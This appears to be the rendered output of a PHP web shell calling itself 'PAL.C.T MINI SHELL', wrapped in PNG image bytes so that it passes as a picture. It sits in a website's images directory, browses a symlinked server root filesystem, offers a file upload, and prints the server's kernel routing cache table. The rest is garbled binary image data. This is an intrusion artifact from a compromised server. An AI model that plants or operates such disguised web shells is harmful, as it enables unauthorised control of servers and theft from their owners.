php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/proc/138/net/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/proc/138/net/rt_cache

Iface	Destination	Gateway 	Flags		RefCnt	Use	Metric	Source		MTU	Window	IRTT	TOS	HHRef	HHUptod	SpecDst                          
lo	F4A1C780	F4A1C780	80000000	0	4	0	26C1E703	0	0	0	00	-1	0	F4A1C780                                                            
eth0	29252588	0180C780	       0	0	15	0	F4A1C780	1500	0	0	00	148	1	F4A1C780                                                     
lo	F4A1C780	F4A1C780	80000000	0	4	0	C73AC834	0	0	0	00	-1	0	F4A1C780                                                            
eth0	4E1CC522	0180C780	       0	0	2	0	F4A1C780	1500	0	1231	00	148	1	F4A1C780                                                   
eth0	04040808	0180C780	       0	0	1	0	F4A1C780	1500	0	0	00	-1	0	F4A1C780                                                       
eth0	6C77A923	0180C780	       0	0	1	0	F4A1C780	1500	0	1170	00	148	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	47	0	9DC216A5	0	0	0	00	-1	0	F4A1C780                                                           
lo	F4A1C780	F4A1C780	80000000	0	0	0	9E70BC3C	0	0	0	00	-1	0	F4A1C780                                                            
eth0	C73AC834	0180C780	       0	0	1	0	F4A1C780	1500	0	1421	00	148	1	F4A1C780                                                   
eth0	08080808	0180C780	       0	0	1	0	F4A1C780	1500	0	0	00	148	1	F4A1C780                                                      
lo	0100007F	0100007F	80000000	0	24	0	0100007F	16436	0	0	00	-1	0	0100007F                                                       
eth0	77511568	0180C780	       0	0	1	0	F4A1C780	1500	0	0	00	148	1	F4A1C780                                                      
eth0	5057E122	0180C780	       0	0	1	0	F4A1C780	1500	0	1138	00	148	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	0	0	620B628D	0	0	0	00	-1	0	F4A1C780                                                            
lo	0100007F	0100007F	80000000	0	22	0	0100007F	16436	0	0	00	-1	0	0100007F                                                       
eth0	1D0A942D	0180C780	       0	0	1	0	F4A1C780	1500	0	778	00	148	1	F4A1C780                                                    
eth0	6D013141	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	148	1	F4A1C780                                                      
eth0	04040808	0180C780	       0	0	1	0	F4A1C780	1500	0	0	00	148	1	F4A1C780                                                      
lo	0100007F	0100007F	80000000	0	76	0	0100007F	16436	0	0	00	2	1	0100007F                                                        
eth0	2BC85462	0180C780	       0	0	3	0	F4A1C780	1500	0	1784	00	148	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	4	0	5057E122	0	0	0	00	-1	0	F4A1C780                                                            
eth0	07C5F226	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	148	1	F4A1C780                                                      
eth0	97C1A26C	0180C780	       0	0	3	0	F4A1C780	1500	0	0	00	-1	0	F4A1C780                                                       
lo	F4A1C780	F4A1C780	80000000	0	5104	0	0AD849D8	0	0	0	00	-1	0	F4A1C780                                                         
eth0	B2EED612	0180C780	       0	0	1	0	F4A1C780	1500	0	1527	00	148	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	1	0	07C5F226	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	0	0	0DBF7857	0	0	0	00	-1	0	F4A1C780                                                            
eth0	0DBF7857	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	148	1	F4A1C780                                                      
eth0	DCD5D22C	0180C780	       0	0	1	0	F4A1C780	1500	0	1218	00	148	1	F4A1C780                                                   
eth0	02A67701	0180C780	       0	1	15	0	F4A1C780	1500	0	1015	00	148	1	F4A1C780                                                  
eth0	18D4CE22	0180C780	       0	0	1	0	F4A1C780	1500	0	1117	00	148	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	4	0	6C77A923	0	0	0	00	-1	0	F4A1C780                                                            
eth0	08080808	0180C780	       0	0	1	0	F4A1C780	1500	0	0	00	-1	0	F4A1C780                                                       
eth0	D90A2629	0180C780	       0	0	18	0	F4A1C780	1500	0	525	00	148	1	F4A1C780                                                   
eth0	E798CB34	0180C780	       0	0	1	0	F4A1C780	1500	0	1486	00	148	1	F4A1C780                                                   
eth0	F83E5736	0180C780	       0	0	2	0	F4A1C780	1500	0	1246	00	148	1	F4A1C780                                                   
eth0	9DC216A5	0180C780	       0	0	6	0	F4A1C780	1500	0	547	00	148	1	F4A1C780                                                    
eth0	F3F20534	0180C780	       0	0	1	0	F4A1C780	1500	0	2470	00	148	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	1	0	04040808	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	4	0	C15FE503	0	0	0	00	-1	0	F4A1C780                                                            
eth0	90701734	0180C780	       0	0	1	0	F4A1C780	1500	0	1132	00	148	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	9	0	2BC85462	0	0	0	00	-1	0	F4A1C780                                                            
eth0	DB545836	0180C780	       0	0	1	0	F4A1C780	1500	0	1190	00	148	1	F4A1C780                                                   
eth0	0E59D186	0180C780	       0	0	5	0	F4A1C780	1500	0	577	00	148	1	F4A1C780                                                    
lo	F4A1C780	F4A1C780	80000000	0	4	0	CBA4E503	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	3	0	97C1A26C	0	0	0	00	-1	0	F4A1C780                                                            
eth0	77511568	0180C780	       0	0	1	0	F4A1C780	1500	0	0	00	-1	0	F4A1C780                                                       
eth0	26C1E703	0180C780	       0	0	1	0	F4A1C780	1500	0	1390	00	148	1	F4A1C780                                                   
eth0	A6D81032	0180C780	       0	0	1	0	F4A1C780	1500	0	1163	00	148	1	F4A1C780                                                   
eth0	0E10C58A	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	148	1	F4A1C780                                                      
lo	F4A1C780	F4A1C780	80000000	0	7	0	1D0A942D	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	54	0	0E59D186	0	0	0	00	-1	0	F4A1C780                                                           
lo	F4A1C780	F4A1C780	80000000	0	1	0	0E10C58A	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	5	0	F3F20534	0	0	0	00	-1	0	F4A1C780                                                            
eth0	620B628D	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	148	1	F4A1C780                                                      
lo	F4A1C780	F4A1C780	80000000	0	5	0	DB545836	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	4	0	A6D81032	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	5	0	4E1CC522	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	5	0	E798CB34	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	4	0	75F89C36	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	5	0	90701734	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	5	0	F83E5736	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	4	0	DCD5D22C	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	0	0	CCA42A8F	0	0	0	00	-1	0	F4A1C780                                                            
eth0	52BD43AC	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	148	1	F4A1C780                                                      
lo	F4A1C780	F4A1C780	80000000	0	1	0	791816B2	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	9	0	6E867772	0	0	0	00	-1	0	F4A1C780                                                            
eth0	6E867772	0180C780	       0	0	1	0	F4A1C780	1500	0	13	00	148	1	F4A1C780                                                     
eth0	C15FE503	0180C780	       0	0	1	0	F4A1C780	1500	0	1183	00	148	1	F4A1C780                                                   
eth0	CBA4E503	0180C780	       0	0	1	0	F4A1C780	1500	0	1175	00	148	1	F4A1C780                                                   
eth0	0AD849D8	0180C780	       0	3	1408	0	F4A1C780	1500	0	450	00	148	1	F4A1C780                                                 
lo	F4A1C780	F4A1C780	80000000	0	146	0	D90A2629	0	0	0	00	-1	0	F4A1C780                                                          
eth0	52BD43AC	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	-1	0	F4A1C780                                                       
eth0	791816B2	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	148	1	F4A1C780                                                      
eth0	CCA42A8F	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	148	1	F4A1C780                                                      
lo	F4A1C780	F4A1C780	80000000	0	4	0	18D4CE22	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	115	0	02A67701	0	0	0	00	-1	0	F4A1C780                                                          
eth0	97C1A26C	0180C780	       0	0	3	0	F4A1C780	1500	0	0	00	148	1	F4A1C780                                                      
lo	F4A1C780	F4A1C780	80000000	0	0	0	6D013141	0	0	0	00	-1	0	F4A1C780                                                            
eth0	9E70BC3C	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	148	1	F4A1C780                                                      
lo	F4A1C780	F4A1C780	80000000	0	5	0	B2EED612	0	0	0	00	-1	0	F4A1C780                                                            
eth0	75F89C36	0180C780	       0	0	1	0	F4A1C780	1500	0	1183	00	148	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	1	0	08080808	0	0	0	00	-1	0	F4A1C780                                                            
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`